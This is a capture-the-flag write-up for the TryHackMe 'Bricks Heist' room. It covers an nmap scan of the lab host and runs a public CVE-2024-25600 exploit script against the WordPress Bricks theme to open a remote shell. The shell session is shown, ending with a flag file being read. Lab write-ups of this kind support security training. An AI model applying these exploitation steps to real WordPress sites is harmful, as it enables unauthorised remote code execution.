TryHack3M Bricks Heist
This is a writeup for https://tryhackme.com/r/room/tryhack3mbricksheist
Append the following line to the end of the file, replacing $IP with the room IP address:
sudo nano /etc/hosts
# Append to the last line with the format
$IP bricks.thm Reconnaissance
Run an Nmap scan to enumerate open ports and services:
nmap -sV -sC -A -p 22,80,443,3306 10.10.249.30
Starting Nmap 7.60 ( https://nmap.org ) at 2024-04-15 17:51 BST
Nmap scan report for bricks.thm (10.10.249.30)
Host is up (0.00047s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
80/tcp open http WebSockify Python/3.8.10
| fingerprint-strings:
| GetRequest:
| HTTP/1.1 405 Method Not Allowed
| Server: WebSockify Python/3.8.10
| Date: Mon, 15 Apr 2024 16:51:17 GMT
| Connection: close
| Content-Type: text/html;charset=utf-8
| Content-Length: 472
| <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
| "http://www.w3.org/TR/html4/strict.dtd">
| <html>
| <head>
| <meta http-equiv="Content-Type" content="text/html;charset=utf-8">
| <title>Error response</title>
| </head>
| <body>
| <h1>Error response</h1>
| <p>Error code: 405</p>
| <p>Message: Method Not Allowed.</p>
| <p>Error code explanation: 405 - Specified method is invalid for this resource.</p>
| </body>
| </html>
| HTTPOptions:
| HTTP/1.1 501 Unsupported method ('OPTIONS')
| Server: WebSockify Python/3.8.10
| Date: Mon, 15 Apr 2024 16:51:17 GMT
| Connection: close
| Content-Type: text/html;charset=utf-8
| Content-Length: 500
| <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
| "http://www.w3.org/TR/html4/strict.dtd">
| <html>
| <head>
| <meta http-equiv="Content-Type" content="text/html;charset=utf-8">
| <title>Error response</title>
| </head>
| <body>
| <h1>Error response</h1>
| <p>Error code: 501</p>
| <p>Message: Unsupported method ('OPTIONS').</p>
| <p>Error code explanation: HTTPStatus.NOT_IMPLEMENTED - Server does not support this operation.</p>
| </body>
|_ </html>
|_http-server-header: WebSockify Python/3.8.10
|_http-title: Error response
443/tcp open ssl/http Apache httpd
|_http-generator: WordPress 6.5
| http-robots.txt: 1 disallowed entry
|_/wp-admin/
|_http-server-header: Apache
|_http-title: Brick by Brick
| ssl-cert: Subject: organizationName=Internet Widgits Pty Ltd/stateOrProvinceName=Some-State/countryName=US
| Not valid before: 2024-04-02T11:59:14
|_Not valid after: 2025-04-02T11:59:14
3306/tcp open mysql MySQL (unauthorized)
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
<REMOVED TO SAVE LENGTH>
MAC Address: 02:B2:AF:27:CD:65 (Unknown)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (94%), Linux 3.8 (94%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%), Linux 2.6.32 (92%), Linux 2.6.39 - 3.2 (92%), Linux 3.1 - 3.2 (92%), Linux 3.2 - 4.8 (92%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE
HOP RTT ADDRESS
1 0.47 ms bricks.thm (10.10.249.30)
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 81.93 seconds
The scan output reveals:
Port 80: Python WebSockify server (not relevant for this exploit)
Port 443: Apache web server running WordPress 6.5
Port 3306: MySQL server (not relevant for this exploit)
Exploitation
Run the exploit script against the target:
root@ip-10-10-23-59:~# python3 CVE-2024-25600.py -u https://10.10.213.55
_______ ________ ___ ____ ___ __ __ ___ ___________ ____
____
/ ____/ | / / ____/ |__ \ / __ \__ \/ // / |__ \ / ____/ ___// __ \/
__ \
/ / | | / / __/________/ // / / /_/ / // /_________/ //___ \/ __ \/ / / / /
/ /
/ /___ | |/ / /__/_____/ __// /_/ / __/__ __/_____/ __/____/ / /_/ / /_/ / /_/
/
\____/ |___/_____/ /____/\____/____/ /_/
/____/_____/\____/\____/\____/
Coded By: K3ysTr0K3R --> Hello, Friend!
[*] Checking if the target is vulnerable
[+] The target is vulnerable
[*] Initiating exploit against: https://10.10.213.55
[*] Initiating interactive shell
[+] Interactive shell opened successfully
Shell> ls
650c844110baced87e1606453b93f22a.txt
index.php
kod
license.txt
phpmyadmin
readme.html
wp-activate.php
wp-admin
wp-blog-header.php
wp-comments-post.php
wp-config-sample.php
wp-config.php
wp-content
wp-cron.php
wp-includes
wp-links-opml.php
wp-load.php
wp-login.php
wp-mail.php
wp-settings.php
wp-signup.php
wp-trackback.php
xmlrpc.php
Shell> cat 650c844110baced87e1606453b93f22a.txt
THM{DIY}
The flag is located in the 650c844110baced87e1606453b93f22a.txt file. So you can read it to get the flag.
TLDR; Add bricks.thm to /etc/hosts and use a WordPress bricks exploit to gain a shell and read the flag.
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